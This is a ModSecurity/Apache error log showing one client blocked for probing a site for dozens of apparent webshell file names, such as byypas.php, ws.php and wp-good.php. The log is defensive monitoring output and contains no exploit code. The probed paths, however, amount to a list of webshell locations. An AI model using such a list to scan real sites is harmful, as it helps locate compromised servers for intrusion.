[Sat Apr 11 04:01:57.274483 2026] [:error] [pid 2812:tid 2839] [client 135.116.194.58:54422] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "adlXNdmkbBYp4LlMowsFkgAAANg"]
[Sat Apr 11 04:01:57.865480 2026] [:error] [pid 2722:tid 2758] [client 135.116.194.58:5033] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "adlXNY_R23QDTmaQHyGC5gAAAEU"]
[Sat Apr 11 04:01:58.419848 2026] [:error] [pid 2721:tid 2729] [client 135.116.194.58:5009] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "adlXNjZWWL4OaRcuwkjJFAAAAAM"]
[Sat Apr 11 04:01:59.016881 2026] [:error] [pid 2812:tid 2820] [client 135.116.194.58:4997] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "adlXN9mkbBYp4LlMowsFmQAAAMU"]
[Sat Apr 11 04:01:59.585101 2026] [:error] [pid 2812:tid 2816] [client 135.116.194.58:5028] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "adlXN9mkbBYp4LlMowsFmwAAAME"]
[Sat Apr 11 04:02:00.119761 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:54427] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "adlXONmkbBYp4LlMowsFoQAAANE"]
[Sat Apr 11 04:02:00.650173 2026] [:error] [pid 2812:tid 2836] [client 135.116.194.58:4889] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "adlXONmkbBYp4LlMowsFpQAAANU"]
[Sat Apr 11 04:02:01.188677 2026] [:error] [pid 2812:tid 2839] [client 135.116.194.58:5036] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlXOdmkbBYp4LlMowsFqAAAANg"]
[Sat Apr 11 04:02:01.715079 2026] [:error] [pid 2723:tid 2799] [client 135.116.194.58:4949] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlXOYNy3DfGNAwLjcOzzAAAAJM"]
[Sat Apr 11 04:02:02.235433 2026] [:error] [pid 2721:tid 2735] [client 135.116.194.58:54378] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlXOjZWWL4OaRcuwkjJIQAAAAk"]
[Sat Apr 11 04:02:02.763586 2026] [:error] [pid 2723:tid 2792] [client 135.116.194.58:5043] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlXOoNy3DfGNAwLjcOz0wAAAIw"]
[Sat Apr 11 04:02:03.288494 2026] [:error] [pid 2721:tid 2729] [client 135.116.194.58:5036] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "adlXOzZWWL4OaRcuwkjJIwAAAAM"]
[Sat Apr 11 04:02:03.947892 2026] [:error] [pid 2723:tid 2791] [client 135.116.194.58:5030] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "adlXO4Ny3DfGNAwLjcOz2gAAAIs"]
[Sat Apr 11 04:02:04.473848 2026] [:error] [pid 2722:tid 2756] [client 135.116.194.58:4938] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "adlXPI_R23QDTmaQHyGC7AAAAEM"]
[Sat Apr 11 04:02:05.035267 2026] [:error] [pid 2722:tid 2773] [client 135.116.194.58:5111] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "adlXPY_R23QDTmaQHyGC8QAAAFQ"]
[Sat Apr 11 04:02:05.557697 2026] [:error] [pid 2722:tid 2762] [client 135.116.194.58:5004] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adlXPY_R23QDTmaQHyGC9QAAAEk"]
[Sat Apr 11 04:02:06.118621 2026] [:error] [pid 2722:tid 2768] [client 135.116.194.58:54369] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adlXPo_R23QDTmaQHyGC-AAAAE8"]
[Sat Apr 11 04:02:06.655423 2026] [:error] [pid 2723:tid 2797] [client 135.116.194.58:5055] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adlXPoNy3DfGNAwLjcOz5gAAAJE"]
[Sat Apr 11 04:02:07.235063 2026] [:error] [pid 2812:tid 2822] [client 135.116.194.58:5016] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adlXP9mkbBYp4LlMowsFuQAAAMc"]
[Sat Apr 11 04:02:07.788700 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:4963] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adlXP9mkbBYp4LlMowsFvAAAANE"]
[Sat Apr 11 04:02:08.477081 2026] [:error] [pid 2722:tid 2757] [client 135.116.194.58:5042] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adlXQI_R23QDTmaQHyGC-wAAAEQ"]
[Sat Apr 11 04:02:09.061030 2026] [:error] [pid 2722:tid 2764] [client 135.116.194.58:4926] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adlXQY_R23QDTmaQHyGC_QAAAEs"]
[Sat Apr 11 04:02:09.588910 2026] [:error] [pid 2722:tid 2772] [client 135.116.194.58:4931] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adlXQY_R23QDTmaQHyGDAQAAAFM"]
[Sat Apr 11 04:02:10.154189 2026] [:error] [pid 2721:tid 2738] [client 135.116.194.58:4964] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "adlXQjZWWL4OaRcuwkjJMwAAAAw"]
[Sat Apr 11 04:02:10.711487 2026] [:error] [pid 2722:tid 2766] [client 135.116.194.58:5113] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "adlXQo_R23QDTmaQHyGDCgAAAE0"]
[Sat Apr 11 04:02:11.476707 2026] [:error] [pid 2812:tid 2836] [client 135.116.194.58:5024] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "adlXQ9mkbBYp4LlMowsFxQAAANU"]
[Sat Apr 11 04:02:12.907773 2026] [:error] [pid 2721:tid 2745] [client 135.116.194.58:54336] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "adlXRDZWWL4OaRcuwkjJNgAAABM"]
[Sat Apr 11 04:02:13.485632 2026] [:error] [pid 2723:tid 2781] [client 135.116.194.58:5039] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "adlXRYNy3DfGNAwLjcO0AgAAAIE"]
[Sat Apr 11 04:02:14.025248 2026] [:error] [pid 2721:tid 2737] [client 135.116.194.58:4933] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "adlXRjZWWL4OaRcuwkjJOAAAAAs"]
[Sat Apr 11 04:02:15.627168 2026] [:error] [pid 2722:tid 2755] [client 135.116.194.58:5062] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "adlXR4_R23QDTmaQHyGDGQAAAEI"]
[Sat Apr 11 04:02:16.262924 2026] [:error] [pid 2722:tid 2757] [client 135.116.194.58:4746] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "adlXSI_R23QDTmaQHyGDIQAAAEQ"]
[Sat Apr 11 04:02:16.834859 2026] [:error] [pid 2812:tid 2833] [client 135.116.194.58:4946] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "adlXSNmkbBYp4LlMowsF3AAAANI"]
[Sat Apr 11 04:02:17.360778 2026] [:error] [pid 2812:tid 2827] [client 135.116.194.58:4986] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "adlXSdmkbBYp4LlMowsF3gAAAMw"]
[Sat Apr 11 04:02:17.955111 2026] [:error] [pid 2723:tid 2804] [client 135.116.194.58:4884] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "adlXSYNy3DfGNAwLjcO0DQAAAJg"]
[Sat Apr 11 04:02:18.480875 2026] [:error] [pid 2721:tid 2738] [client 135.116.194.58:4943] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "adlXSjZWWL4OaRcuwkjJQQAAAAw"]
[Sat Apr 11 04:02:20.087919 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:4959] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adlXTNmkbBYp4LlMowsF7wAAAM0"]
[Sat Apr 11 04:02:20.623266 2026] [:error] [pid 2812:tid 2835] [client 135.116.194.58:5038] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adlXTNmkbBYp4LlMowsF8gAAANQ"]
[Sat Apr 11 04:02:21.204320 2026] [:error] [pid 2723:tid 2783] [client 135.116.194.58:5093] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adlXTYNy3DfGNAwLjcO0GgAAAIM"]
[Sat Apr 11 04:02:21.730702 2026] [:error] [pid 2812:tid 2839] [client 135.116.194.58:5001] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adlXTdmkbBYp4LlMowsF9gAAANg"]
[Sat Apr 11 04:02:22.471386 2026] [:error] [pid 2812:tid 2827] [client 135.116.194.58:5040] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "adlXTtmkbBYp4LlMowsF-wAAAMw"]
[Sat Apr 11 04:02:23.039712 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:5041] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "adlXT9mkbBYp4LlMowsGAAAAANE"]
[Sat Apr 11 04:02:23.627821 2026] [:error] [pid 2722:tid 2760] [client 135.116.194.58:4903] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "adlXT4_R23QDTmaQHyGDRAAAAEc"]
[Sat Apr 11 04:02:24.222357 2026] [:error] [pid 2722:tid 2776] [client 135.116.194.58:4905] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "adlXUI_R23QDTmaQHyGDRwAAAFc"]
[Sat Apr 11 04:02:24.857102 2026] [:error] [pid 2723:tid 2781] [client 135.116.194.58:4967] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsas.php"] [unique_id "adlXUINy3DfGNAwLjcO0IwAAAIE"]
[Sat Apr 11 04:02:27.625982 2026] [:error] [pid 2812:tid 2834] [client 135.116.194.58:4952] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsas.php"] [unique_id "adlXU9mkbBYp4LlMowsGEQAAANM"]
[Sat Apr 11 04:02:28.211517 2026] [:error] [pid 2722:tid 2773] [client 135.116.194.58:4961] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsas.php"] [unique_id "adlXVI_R23QDTmaQHyGDVQAAAFQ"]
[Sat Apr 11 04:02:28.749472 2026] [:error] [pid 2723:tid 2798] [client 135.116.194.58:5105] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsas.php"] [unique_id "adlXVINy3DfGNAwLjcO0KgAAAJI"]
[Sat Apr 11 04:02:29.277075 2026] [:error] [pid 2723:tid 2800] [client 135.116.194.58:5037] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp/jp.php"] [unique_id "adlXVYNy3DfGNAwLjcO0LwAAAJQ"]
[Sat Apr 11 04:02:29.816766 2026] [:error] [pid 2721:tid 2741] [client 135.116.194.58:5044] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp/jp.php"] [unique_id "adlXVTZWWL4OaRcuwkjJVAAAAA8"]
[Sat Apr 11 04:02:30.337211 2026] [:error] [pid 2812:tid 2821] [client 135.116.194.58:4912] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp/jp.php"] [unique_id "adlXVtmkbBYp4LlMowsGGgAAAMY"]
[Sat Apr 11 04:02:30.866140 2026] [:error] [pid 2722:tid 2769] [client 135.116.194.58:4892] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp/jp.php"] [unique_id "adlXVo_R23QDTmaQHyGDXAAAAFA"]
[Sat Apr 11 04:02:31.479549 2026] [:error] [pid 2722:tid 2765] [client 135.116.194.58:4962] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "adlXV4_R23QDTmaQHyGDZAAAAEw"]
[Sat Apr 11 04:02:32.003958 2026] [:error] [pid 2812:tid 2819] [client 135.116.194.58:54398] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "adlXWNmkbBYp4LlMowsGIAAAAMQ"]
[Sat Apr 11 04:02:32.566524 2026] [:error] [pid 2721:tid 2740] [client 135.116.194.58:5080] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "adlXWDZWWL4OaRcuwkjJVgAAAA4"]
[Sat Apr 11 04:02:33.110222 2026] [:error] [pid 2721:tid 2746] [client 135.116.194.58:5110] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "adlXWTZWWL4OaRcuwkjJVwAAABQ"]
[Sat Apr 11 04:02:33.641887 2026] [:error] [pid 2812:tid 2816] [client 135.116.194.58:4941] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "adlXWdmkbBYp4LlMowsGKgAAAME"]
